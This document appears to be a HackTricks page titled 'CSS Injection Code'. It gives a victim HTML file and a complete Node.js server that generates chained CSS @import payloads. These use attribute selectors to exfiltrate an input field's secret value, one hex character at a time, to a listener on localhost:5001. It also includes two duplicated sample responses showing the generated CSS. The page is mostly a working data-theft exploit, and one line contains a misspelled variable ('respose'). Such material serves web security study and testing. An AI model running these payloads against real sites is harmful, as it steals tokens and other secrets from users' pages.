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CSS Injection Code

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% code title="victim.html" %}

<!doctype html>
<body>
    <div><article><div><p><div><div><div><div><div>
<input type="text" value="1234567890">
<style>
@import url('//localhost:5001/start?');
</style>

{% endcode %}

{% code title="server.js" %}

const http = require('http');
const url = require('url');

// Port to exfiltrate to
const port = 5001;
// Host to exfiltrate to
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;

var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;

const requestHandler = (request, response) => {
    let req = url.parse(request.url, url);
    log('\treq: %s', request.url);
    
    //If stop, leakeage is finished
    if (stop) return response.end();
    
    switch (req.pathname) {
        // This only launched when starting the leakeage
        case "/start":
            genResponse(response);
            break;
        
        // Everytime something is leaked
        case "/leak":
            response.end();
            // If response comes with a pre, then we leaked some preffix s(E)cret
            if (req.query.pre && prefix !== req.query.pre) {
                prefix = req.query.pre;
            
            // If response comes with a post, then we leaked some suffix secre(T)
            } else if (req.query.post && postfix !== req.query.post) {
               postfix = req.query.post;
            } else {
                break;
            }
            
            // Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
            if (ready == 2) {
                genResponse(pending.shift());
                ready = 0;
            } else {
                ready++;
                log('\tleak: waiting others...');
            }
            break;
        
        // While waiting for a pre and a post, the next @import is waiting to be responded
        // by a new generated payload with another "pre" and "post"
        case "/next":
            if (ready == 2) {
                genResponse(respose);
                ready = 0;
            } else {
                pending.push(response);
                ready++;
                log('\tquery: waiting others...');
            }
            break;
        
        // Called when the secret is leaked
        case "/end":
            stop = true;
            console.log('[+] END: %s', req.query.token);
        
        default:
            response.end();
    }
}

const genResponse = (response) => {
    // Verbose output to know what do we know
    console.log('...pre-payoad: ' + prefix);
    console.log('...post-payoad: ' + postfix);

    // Payload generation, you have an example of what is generated below
    let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
        'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
        'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
        'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
    
    response.writeHead(200, { 'Content-Type': 'text/css'});
    response.write(css);
    response.end();
    n++;
}


// Server listening
const server = http.createServer(requestHandler)

server.listen(port, (err) => {
    if (err) {
        return console.log('[-] Error: something bad happened', err);
    }
    console.log('[+] Server is listening on %d', port);
})

function log() {
    if (DEBUG) console.log.apply(console, arguments);
}

/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149

@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/

/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149

@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/

{% endcode %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}